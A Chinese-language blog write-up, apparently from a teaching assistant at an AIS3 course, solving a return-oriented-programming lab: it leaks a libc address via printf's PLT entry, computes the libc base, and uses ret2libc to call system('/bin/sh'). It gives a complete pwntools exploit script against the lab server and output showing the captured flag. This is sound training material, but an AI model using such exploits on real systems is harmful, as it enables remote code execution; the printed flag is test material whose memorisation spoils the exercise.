lab_rop3
這次藉著到 AIS3 當助教的緣故順便跟 Curious 一起把 LYS ROP 系列課程的 lab 整理到了部落格,也方便給學員參考。
那因為是一系列的 lab,所以接下來只會主要講跟上個版本的差異
Diff & Exploitation
那這次基本上程式碼都跟上次一樣,只不過 file
會發現這次程式是動態的,所以 gadget 會少很多,但我們可以先用 ret2plt 來 leak 出 libc_base,可以透過呼叫 printf(某個 got)
然後減掉特定的 offset 來算出來。那有了 libc_base 之後我們就可以透過 return 回 main 讓程式跳回 main 重新開始執行,那接下來就沒什麼特別的,ret2libc 呼叫 system('/bin/sh')
就可以成功 RCE 了。
Patchelf
那因為這題需要 ret2libc 所以我們需要先把題目的 libc patch 上去,可以參考下面這篇:
https://kazma.tw/2024/04/19/Patchelf-Glibc-all-in-one-Combo/
首先我們看一下他 libc 版本:
1 2 3 4 5 6 7 8
| └─$ strings ../libc.so.6 | grep GNU GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35. Compiled by GNU CC version 11.4.0.
└─$ cd glibc-all-in-one/ └─$ ./update_list [+] Common list has been save to "list" [+] Old-release list has been save to "old_list"
|
list 找不到一樣的只好自己抓:
1 2 3 4 5 6 7 8 9
| └─$ wget http://launchpadlibrarian.net/689665881/libc6_2.35-0ubuntu3.4_amd64.deb └─$ ./extract debs/libc6_2.35-0ubuntu3.4_amd64.deb libs/2.35-0ubuntu3.4
└─$ file ~/lys_rop/libc.so.6 /home/kazma/lys_rop/libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a43bfc8428df6623cd498c9c0caeb91aec9be4f9, for GNU/Linux 3.2.0, stripped
┌──(kazma㉿kali)-[~/glibc-all-in-one/libs/2.35-0ubuntu3.4] └─$ file libc.so.6 libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a43bfc8428df6623cd498c9c0caeb91aec9be4f9, for GNU/Linux 3.2.0, stripped
|
放一下關鍵步驟:
1 2
| └─$ patchelf --set-interpreter ../ld-linux-x86-64.so.2 rop3 └─$ patchelf --replace-needed libc.so.6 ../libc.so.6 rop3
|
Libc_base
因為這次很多學員還是不太熟算 libc_base 的方式,所以這邊特別拉出來講:
首先我們要先確認執行檔在本地在本地用的 libc 跟遠端是一樣的,不然 offset 算出來當然不會對,再來我們可以在 exploit 中插入像是 gdb.attach(r)
的方式,讓我們可以分析跑起來後的 process。
再來我們透過 u64(r.recv(6).ljust(8, b"\0"))
先 leak 出某個函式的 got,我們可以用下面幾種方式得到 offset:
readelf
vmmap
上面的截圖是首先可以看到我們 leak 出的 got 是:0x7fed250606f0
然後下面的紅框可以看到目前的 libc_base 是:0x7fed25000000
所以可以算出 offset 是:0x7fed250606f0 - 0x7fed25000000 = 0x606f0
同時 vmmap
也可以順便檢查我們的 libc 是不是跟 remote 一樣,那這邊是 patchelf 後的狀態,所以可以看到 libc 的位置是:/home/kazma/lys_rop/libc.so.6
xinfo
如圖,應該不用多解釋了 XDD
那減完後可以確定一下你的 libc_base 最低三位是不是 0,因為 ASLR 隨機不會影響到最低三位,所以我常常會印出算完的 libc_base 也方便我檢查 remote 的時候有沒有爛掉。
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import warnings
from pwn import *
warnings.filterwarnings("ignore", category=BytesWarning)
context.arch = "amd64"
r = remote("35.229.243.81", 10103) l = ELF("../libc.so.6")
pop_rdi = 0x4011F9 ret = 0x40101A printf_plt = 0x401060 printf_got = 0x404018 main = 0x4011FE name = 0x404060
p1 = flat( b"a" * 0x18, ret, pop_rdi, printf_got, printf_plt, ret, main, )
r.sendlineafter(b"?", b" ") r.sendlineafter(b":", p1) r.recv(5) l.address = u64(r.recv(6).ljust(8, b"\0")) - 0x606F0 print(l.address) success("libc_base -> %s" % hex(l.address))
p2 = flat(b"a" * 0x18, pop_rdi, next(l.search("/bin/sh\0")), ret, l.sym.system)
r.sendlineafter(b"?", b" ") r.sendlineafter(b":", p2) r.sendline("cat /home/chal/flag*") r.interactive()
|
Result
1 2 3 4 5 6 7 8 9 10 11 12
| └─$ python exploit.py [+] Opening connection to 35.229.243.81 on port 10103: Done [*] '/home/kazma/lys_rop/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 140181073612800 [+] libc_base -> 0x7f7e7318d000 [*] Switching to interactive mode FLAG{03cd43f4c45388e27a5de583b0e56a94}$
|
Pwned !!!